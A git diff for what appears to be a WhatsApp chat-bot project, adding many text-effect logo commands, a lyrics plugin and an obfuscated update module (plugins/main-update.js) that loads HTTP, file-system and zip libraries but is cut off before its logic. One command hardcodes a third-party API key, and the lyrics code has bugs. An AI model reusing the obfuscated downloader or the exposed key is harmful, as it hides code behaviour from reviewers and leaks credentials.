occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "sadgirl", + desc: "Create a sadgirl text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: sadgirl Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/write-text-on-wet-glass-online-589.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "pornhub", + desc: "Create a pornhub text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: pornhub Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-pornhub-style-logos-online-free-549.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "naruto", + desc: "Create a Naruto text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: naruto Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "thor", + desc: "Create a Thor text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: thor Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-thor-logo-style-text-effects-online-for-free-796.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "america", + desc: "Create American text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: America Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/free-online-american-flag-3d-text-effect-generator-725.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "eraser", + desc: "Create a Eraser text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: Eraser Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-eraser-deleting-text-effect-online-717.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "3dpaper", + desc: "Create a 3D Paper text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: 3dpaper Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/multicolor-3d-paper-cut-style-text-effect-658.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "futuristic", + desc: "Create a futuristic text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: futuristic Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/light-text-effect-futuristic-technology-style-648.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "clouds", + desc: "Create a Clouds text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: Clouds Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/write-text-effect-clouds-in-the-sky-online-619.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "sans", + desc: "Create a Sand text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: sand Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/write-in-sand-summer-beach-online-free-595.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "galaxy", + desc: "Create a Galaxy text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: galaxy Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-galaxy-wallpaper-mobile-online-528.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "leaf", + desc: "Create a Leaf text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: leaf Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/green-brush-text-effect-typography-maker-online-153.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "sunset", + desc: "Create a sunset text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: sunset Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-sunset-light-text-effects-online-807.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "nigeria", + desc: "Create a Nigeria text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: nigeria Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/nigeria-3d-flag-text-effect-online-free-753.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "devilwings", + desc: "Create a Devil Wings. text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: devilwings Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/neon-devil-wings-text-effect-online-683.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "hacker", + desc: "Create a Hacker text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: hacker Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "boom", + desc: "Create a Boom text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: boom Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "luxury", + desc: "Create a Luxury text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: luxury Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/floral-luxury-logo-collection-for-branding-616.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "zodiac", + desc: "Create a 3D Comic-style text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: Zodiac Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-star-zodiac-wallpaper-mobile-604.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "angelwings", + desc: "Create a Angel Wings text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: angelwings Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/angel-wing-effect-329.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "bulb", + desc: "Create a Bulb text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: bulb Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/text-effects-incandescent-bulbs-219.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "tatoo", + desc: "Create a Tatoo ext effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: Tatoo Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/make-tattoos-online-by-empire-tech-309.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "castle", + desc: "Create a Castle text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: castle Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-a-3d-castle-pop-out-mobile-photo-effect-786.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "frozen", + desc: "Create a Frozen text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: frozen Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-a-frozen-christmas-text-effect-online-792.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "paint", + desc: "Create a Paint text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: paint Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-3d-colorful-paint-text-effect-online-801.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "birthday", + desc: "Create a Birthdaytext effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: birthday Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/beautiful-3d-foil-balloon-effects-for-holidays-and-birthday-803.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "typography", + desc: "Create a Typography text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: Typography Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/create-typography-status-online-with-impressive-leaves-357.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "bear", + desc: "Create a Bear text effect", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + if (!args.length) { + return reply("โŒ Please provide a name. Example: bear Empire"); + } + + const name = args.join(" "); + + // API URL with user-provided name + const apiUrl = `https://api-pink-venom.vercel.app/api/logo?url=https://en.ephoto360.com/free-bear-logo-maker-online-673.html&name=${encodeURIComponent(name)}`; + + // Fetch JSON response + const result = await fetchJson(apiUrl); + + // Check if the download_url is present + if (!result?.result?.download_url) { + return; + } + + // Send the 3D Comic-style text effect image + await conn.sendMessage(from, { + image: { + url: result.result.download_url + } + }); + + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "valorant", + desc: "Create a Valorant YouTube banner with three text inputs", + category: "logo", + react: "๐ŸŽจ", + filename: __filename +}, async (conn, mek, m, { from, quoted, prefix, args, reply }) => { + try { + if (args.length < 3) { + return reply(`โŒ Please provide 3 text inputs. Example:\n${prefix}valorant Text1 Text2 Text3`); + } + + // Extract the three text inputs + const text1 = args[0]; + const text2 = args[1]; + const text3 = args.slice(2).join(" "); + + // Build the API URL + const apiUrl = `https://api.nexoracle.com/ephoto360/valorant-youtube-banner?apikey=MepwBcqIM0jYN0okD&text1=${encodeURIComponent(text1)}&text2=${encodeURIComponent(text2)}&text3=${encodeURIComponent(text3)}`; + + // Fetch the logo as a buffer + const buffer = await getBuffer(apiUrl); // Ensure this gets image data + + // Send the image with the buffer data and include the quoted message if it exists + const options = quoted ? { quoted: mek } : {}; + + // Send the Valorant YouTube banner as an image + await conn.sendMessage(from, { + image: buffer, + caption: "Here is your Valorant YouTube banner!" + }, options); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); diff --git a/plugins/lyrics.js b/plugins/lyrics.js new file mode 100644 index 0000000000000000000000000000000000000000..2bcc54d498d7805414b18f0ae3c6f838aa952d13 --- /dev/null +++ b/plugins/lyrics.js @@ -0,0 +1,141 @@ + + + + + +const axios = require('axios'); +const { cmd } = require('../command'); + +/* +cmd({ + pattern: "lyrics", + alias: ["lyric"], + desc: "Get the lyrics of a song by artist and title.", + react: "๐ŸŽต", + category: "utility", + use: ".lyrics ", + filename: __filename, +}, async (conn, mek, m, { args, reply }) => { + try { + if (args.length < 2) { + return reply("โŒ Please provide the artist and song title.\nExample: `.lyrics Ed Sheeran - Shape of You`"); + } + + // Parsing input using delimiter + let artist, title; + if (args.includes('-')) { + const delimiterIndex = args.indexOf('-'); + artist = args.slice(0, delimiterIndex).join(' ').trim(); + title = args.slice(delimiterIndex + 1).join(' ').trim(); + } else if (args[0].startsWith('"') && args[args.length - 1].endsWith('"')) { + artist = args.slice(0, -1).join(' ').replace(/"/g, '').trim(); + title = args.slice(-1).join(' '); + } else { + artist = args[0]; + title = args.slice(1).join(' '); + } + + if (!artist || !title) { + return reply("โŒ Please specify both the artist and the song title.\nExample: `.lyrics \"Joe Dwรฉ Filรฉ\" Shape of You`"); + } + + // Notify the user that the lyrics are being fetched + reply(`๐ŸŽต Searching for lyrics of "${title}" BY ${artist}...`); + + // Fetch lyrics using an API + const response = await axios.get(`https://api.lyrics.ovh/v1/${artist}/${title}`); + const lyrics = response.data.lyrics; + + if (!lyrics) { + return reply(`โŒ Sorry, no lyrics found for "${title}" by ${artist}.`); + } + + // Send the lyrics back to the chat + reply(`> ๐Ÿ“ALI LYRICS RESULT๐Ÿ“\n\nTitle๐ŸŽง *${title}*\nArtist๐Ÿ—ฃ๏ธ *${artist}*\n\n${lyrics}`); + } catch (error) { + console.error("Error fetching lyrics:", error.message); + + if (error.response && error.response.status === 404) { + reply("โŒ Sorry, no lyrics found for the specified artist and song title."); + } else { + reply("โŒ An error occurred while fetching the lyrics. Please try again later."); + } + } +}); +*/ + +cmd({ + pattern: "lyrics", + alias: ["lyric"], + desc: "Get the lyrics of a song by artist and title.", + react: "๐ŸŽต", + category: "utility", + use: ".lyrics ", + filename: __filename, +}, async (conn, mek, m, { args, reply, buttonsMessage }) => { + try { + if (args.length < 2) { + return reply("โŒ Please provide the artist and song title.\nExample: `.lyrics Ed Sheeran - Shape of You`"); + } + + // Parsing input using delimiter + let artist, title; + if (args.includes('-')) { + const delimiterIndex = args.indexOf('-'); + artist = args.slice(0, delimiterIndex).join(' ').trim(); + title = args.slice(delimiterIndex + 1).join(' ').trim(); + } else if (args[0].startsWith('"') && args[args.length - 1].endsWith('"')) { + artist = args.slice(0, -1).join(' ').replace(/"/g, '').trim(); + title = args.slice(-1).join(' '); + } else { + artist = args[0]; + title = args.slice(1).join(' '); + } + + if (!artist || !title) { + return reply("โŒ Please specify both the artist and the song title.\nExample: `.lyrics \"Joe Dwรฉ Filรฉ\" Shape of You`"); + } + + // Notify the user that the lyrics are being fetched + reply(`๐ŸŽต Searching for lyrics of "${title}" by ${artist}...`); + + // Fetch lyrics using an API + const response = await axios.get(`https://api.lyrics.ovh/v1/${encodeURIComponent(artist)}/${encodeURIComponent(title)}`); + const lyrics = response.data.lyrics; + + if (!lyrics) { + return reply(`โŒ Sorry, no lyrics found for "${title}" by ${artist}.`); + } + + // Create buttons + const buttons = [ + { buttonId: 'copy_lyrics', buttonText: { displayText: 'Copy' }, type: 1 } + ]; + + // Send message with lyrics and buttons + const buttonMessage = { + text: `> ๐Ÿ“ALI LYRICS RESULT๐Ÿ“\n\nTitle๐ŸŽง *${title}*\nArtist๐Ÿ—ฃ๏ธ *${artist}*\n\n${lyrics}`, + footer: 'Lyrics provided by lyrics.ovh', + buttons: buttons, + headerType: 1 + }; + + await conn.sendMessage(from, buttonMessage, { quoted: mek }); + + // Handle button response + conn.on('button_response', async (buttonResponse) => { + if (buttonResponse.buttonId === 'copy_lyrics') { + await conn.sendMessage(from, { text: '๐Ÿ“‹ Lyrics copied to clipboard!' }, { quoted: mek }); + } + }); + + } catch (error) { + console.error("Error fetching lyrics:", error.message); + + if (error.response && error.response.status === 404) { + reply("โŒ Sorry, no lyrics found for the specified artist and song title."); + } else { + reply("โŒ An error occurred while fetching the lyrics. Please try again later."); + } + } +}); diff --git a/plugins/main-update.js b/plugins/main-update.js new file mode 100644 index 0000000000000000000000000000000000000000..6aa95c3688ae0a9350094b5c62bbd2a4002e0091 --- /dev/null +++ b/plugins/main-update.js @@ -0,0 +1 @@ +(function(_0x14de1a,_0x2b7671){function _0x1f9c03(_0x89b63d,_0x536908){return _0x4d1f(_0x89b63d-0x11a,_0x536908);}const _0xe778cf=_0x14de1a();while(!![]){try{const _0x5b82db=-parseInt(_0x1f9c03(0x309,0x2fb))/0x1*(-parseInt(_0x1f9c03(0x2f5,0x2e2))/0x2)+parseInt(_0x1f9c03(0x2ff,0x30c))/0x3+-parseInt(_0x1f9c03(0x2f7,0x2f2))/0x4+-parseInt(_0x1f9c03(0x2e9,0x2f6))/0x5*(parseInt(_0x1f9c03(0x303,0x30c))/0x6)+-parseInt(_0x1f9c03(0x307,0x2f2))/0x7*(-parseInt(_0x1f9c03(0x2e8,0x2e6))/0x8)+-parseInt(_0x1f9c03(0x2f9,0x306))/0x9*(-parseInt(_0x1f9c03(0x302,0x308))/0xa)+-parseInt(_0x1f9c03(0x2ec,0x2eb))/0xb;if(_0x5b82db===_0x2b7671)break;else _0xe778cf['push'](_0xe778cf['shift']());}catch(_0x5841be){_0xe778cf['push'](_0xe778cf['shift']());}}}(_0x1431,0x19973));function _0x4d1f(_0x289760,_0x4ba8bf){const _0x143161=_0x1431();return _0x4d1f=function(_0x4d1fff,_0x3deda5){_0x4d1fff=_0x4d1fff-0x1c9;let _0x38a621=_0x143161[_0x4d1fff];return _0x38a621;},_0x4d1f(_0x289760,_0x4ba8bf);}const {cmd}=require(_0x9b3b36(-0x18b,-0x181)),axios=require('axios'),fs=require('fs'),path=require(_0x9b3b36(-0x184,-0x17f)),AdmZip=require(_0x9b3b36(-0x187,-0x177));function _0x9b3b36(_0x1df931,_0x541a42){return _0x4d1f(_0x541a42- -0x34b,_0x1df931);}const {setCommitHash,getCommitHash}=require(_0x9b3b36(-0x17c,-0x175));function _0x1431(){const 